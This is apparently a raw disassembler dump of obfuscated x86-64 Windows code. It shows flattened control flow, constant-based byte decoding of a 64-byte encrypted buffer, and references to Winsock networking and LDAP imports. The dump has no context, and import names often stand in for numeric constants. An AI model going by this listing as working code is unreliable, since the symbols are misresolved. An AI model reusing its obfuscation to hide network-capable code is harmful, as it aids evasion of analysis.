movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14011fcd3
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011fb0b
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14011fcf5
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14011fcf8
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x14011fb4a
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x14011fb90
movabs rdx, 0x56c8ec1d622f8360
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011fd22
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x14011faea
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x14011f9e4
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x14011fadd
movabs rcx, 0x338017b566f0b9d8
add rcx, r9
mov al, cl
and al, r8b
mov edx, recv
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14011fc89
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x14011f7ec
movabs rdx, 0x74d06cabcb703da8
mov ecx, r12d
jmp 0x14011fb4a
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14011fcf8
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011fcf5
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14011fc09
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x14011fc43
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14011fcb1
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011fc89
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x14011f83e
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x14011fb15
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x14011f8d6
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011f682
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011f86d
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011fd22
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011f88a
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x14011fb4a
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011f8b5
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14011fcf8
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14011f7fb
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x14011fc43
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011f901
movabs rcx, 0x2756a53b562b459c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14011fc89
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011f930
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011fcb1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011f95b
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x14011fcf5
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14011f986
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14011fb5c
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14011f9b5
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011fb90
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14011f682
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14011fd22
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011fa01
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x14011f856
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011fa1e
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x14011fb4a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14011fa3b
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14011f745
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011fa66
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14011fc09
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14011fa91
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x14011fcd3
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14011faae
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x14011f919
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14011f6b9
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14011fc89
mov byte [rbp + r9 + 0x800], bl
jmp 0x14011fd31
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x800]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x14011fc09
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x800]
jmp 0x14011fb57
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x800], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14011fd22
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011fcf5
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
jmp 0x14011fcf5
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011fcd3
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14011fc77
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add r10, r15
jmp 0x14011fcd3
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
sub r9, r15
jmp 0x14011fd31
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14011fd31
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x800]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14011f288
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011f285
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x14011f275
lea rdx, [rbp + 0x16f0f30]
jmp 0x14011fd9a
lea rdx, [rbp + 0x68a294]
jmp 0x14011fd9a
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x3e0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0x18e0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011fdcc
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x18e0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x18e0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x18e0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x730], 0xcb
mov byte [rbp + 0x731], Ordinal_143
mov byte [rbp + 0x732], 0xac
mov byte [rbp + 0x733], 0xf3
mov byte [rbp + 0x734], Ordinal_79
mov byte [rbp + 0x735], 0xf1
mov byte [rbp + 0x736], WSACleanup
mov byte [rbp + 0x737], 0xf7
mov byte [rbp + 0x738], 0x55
mov byte [rbp + 0x739], 0xf5
mov byte [rbp + 0x73a], 0xa2
mov byte [rbp + 0x73b], 0xfb
mov byte [rbp + 0x73c], 0x66
mov byte [rbp + 0x73d], 0xf9
mov byte [rbp + 0x73e], 0x55
mov byte [rbp + 0x73f], 0xff
mov byte [rbp + 0x740], 0x59
mov byte [rbp + 0x741], 0xfd
mov byte [rbp + 0x742], WSACleanup
mov byte [rbp + 0x743], 0xe3
mov byte [rbp + 0x744], 0x47
mov byte [rbp + 0x745], 0xe1
mov byte [rbp + 0x746], Ordinal_79
mov byte [rbp + 0x747], 0xe7
mov byte [rbp + 0x748], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x749], 0xe5
mov byte [rbp + 0x74a], 0x42
mov byte [rbp + 0x74b], 0xeb
mov byte [rbp + 0x74c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x74d], 0xe9
mov byte [rbp + 0x74e], 0x40
mov byte [rbp + 0x74f], 0xef
mov byte [rbp + 0x750], 0xb8
mov byte [rbp + 0x751], 0xed
mov byte [rbp + 0x752], 0x87
mov byte [rbp + 0x753], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x754], 0x44
mov byte [rbp + 0x755], Ordinal_211
mov byte [rbp + 0x756], 0x40
mov byte [rbp + 0x757], Ordinal_217
mov byte [rbp + 0x758], 0x81
mov byte [rbp + 0x759], Ordinal_217
mov byte [rbp + 0x75a], 0x7e
mov byte [rbp + 0x75b], 0xdb
mov byte [rbp + 0x75c], 0x7c
mov byte [rbp + 0x75d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x75e], WSACleanup
mov byte [rbp + 0x75f], 0xdf
mov byte [rbp + 0x760], Ordinal_143
mov byte [rbp + 0x761], 0xdd
mov byte [rbp + 0x762], 0x64
mov byte [rbp + 0x763], Ordinal_200
mov byte [rbp + 0x764], WSAGetLastError
mov byte [rbp + 0x765], 0xc1
mov byte [rbp + 0x766], 0x54
mov byte [rbp + 0x767], Ordinal_200
mov byte [rbp + 0x768], Ordinal_200
mov byte [rbp + 0x769], Ordinal_200
xor eax, eax
mov dword [rbp + 0x76a], eax
mov word [rbp + 0x76e], ax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x40
jae 0x140120beb
movzx r9d, byte [rbp + r10 + 0x730]
mov r8, r9
cmp rdi, r10
ja 0x140120be2
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140120010
movabs rcx, 0xda32561d88143dbe
add rcx, r10
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x14012004a
je 0x140120b55
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140120afc
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140120aa5
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140120a7c
lea rax, [r11 + 8]
cmp rdi, rax
je 0x140120a34
cmp r11, r10
ja 0x140120bd9
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x14012007b
movabs rcx, 0xe621106c29a91096
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1a
jmp 0x1401200af
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140120a15
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401209f2
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401209c3
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401209a5
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140120670
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14012064e
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140120628
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140120605
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401205f1
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401205ce
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401205ab
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x140120587
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x140120566
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140120540
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401200bc
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140120bb3
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140120b8d
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x1401202b9
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140120293
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140120271
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401204de
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x140120481
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140120433
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x140120407
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401200bc
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x1401203f3
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x1401203d2
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x1401203b1
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14012038b
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140120368
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140120347
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x140120324
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140120302
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x1401202dc
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1401200bc
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x1401200bc
movabs rcx, 0x7954c208e2fd862a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
jmp 0x1401200af
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14012004a
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14011ffd9
movabs rdx, 0x310883614d4884b0
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120a53
movabs rcx, 0x7ca3d7263d200934
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
jmp 0x140120a77
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 8
jmp 0x140120a9d
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140120943
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x140120972
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401209e0
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x140120ac4
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x14
jmp 0x140120b1e
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14012054f
movabs rdx, 0x4ae772f5239f741a
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r10 + 0x730], bl
jmp 0x140120b85
movabs rcx, 0x9682c6ba1376f89e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x52
cmp r11, 0x1000
jb 0x140120426
movabs rcx, 0xf00e4fc4381099b4
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140120a53
movabs rdx, 0xe21e1a7f034e7d22
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, 0x40
jae 0x140120922
lea rax, [r11 + 0x200]
cmp rdi, rax
jbe 0x14012083e
movabs rcx, 0xe41f9575967bc6dc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x140120450
movabs rdx, 0x2db96e43f32601a6
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
lea rax, [r11 + rdi]
cmp rax, 6
je 0x140120977
lea rax, [r11 + 0x10]
cmp rdi, rax
jbe 0x140120771
movabs rdx, 0xfdfe85096cd2b646
add rdx, r10
mov al, dl
and al, r9b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401204a2
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120b76
movabs rdx, 0xb061b64de9cde808
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x140120b1e
movabs rdx, 0xfbfd0a12d9a56c8c
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x140120ac4
movabs rcx, 0x47985dd7c97cf110
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x70
jmp 0x1401209e0
movabs rcx, 0x9333b19cb9547594
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0xc
jmp 0x140120972
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140120356
movabs rcx, 0x2a6a592699037e9c
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x44
jmp 0x140120a9d
movabs rdx, 0x7605aceb88db0320
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120a77
movabs rcx, 0xc1a100b078b287a4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x140120a53
lea rax, [r11 + 8]
cmp rdi, rax
jae 0x14012069b
movabs rcx, 0xda32561d88143dbe
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x32
jmp 0x1401204ff
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1401206c6
movabs rcx, 0xcc4220d85352212c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x140120b76
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401206e3
movabs rdx, 0x350b794e73a31824
mov ecx, 2
jmp 0x1401209b4
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140120712
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140120972
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x14012073e
movabs rdx, 0x52397dffa41c8a98
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x140120948
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1401204ff
movabs rdx, 0xbb02d675c46d8190
add rdx, r10
mov al, r9b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140120a77
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14012079b
movabs rdx, 0xb26331447cfb31c2
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x4e
jmp 0x140120a51
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1401207c6
movabs rcx, 0xcf9135f5ad74a436
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7a
jmp 0x140120948
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1401207e3
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401206fb
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x14012080e
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x42
jmp 0x1401209e0
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1401204a2
movabs rcx, 0x5588931cfe3f0da2
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6e
jmp 0x140120b76
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14012086a
movabs rcx, 0x988441b0a6a44258
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x68
jmp 0x140120b76
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140120895
movabs rcx, 0x14d9a26c6f53950
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x140120ac6
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1401208c4
movabs rdx, 0x6a16f29ce7463048
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140120972
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1401208f3
movabs rdx, 0xd2e04b1307972740
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140120a9d
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140120450
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x140120a77
movabs rdx, 0xa472fbff48391530
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x730]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r9b
movabs rcx, 0x7ea5521cd04d52ee
add rcx, r10
mov al, cl
and al, r9b
mov edx, 0x3f
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
add dl, bl
mov byte [rbp + r10 + 0x730], dl
add rdi, r11
jmp 0x1401209e0
movabs rdx, 0x58d7a83a586190ac
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x730]
add bl, dl
add bl, r9b
jmp 0x140120ac6
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14012099b
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140120b85
movabs rcx, 0x34f151d5a22830a
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x46
jmp 0x140120a9d
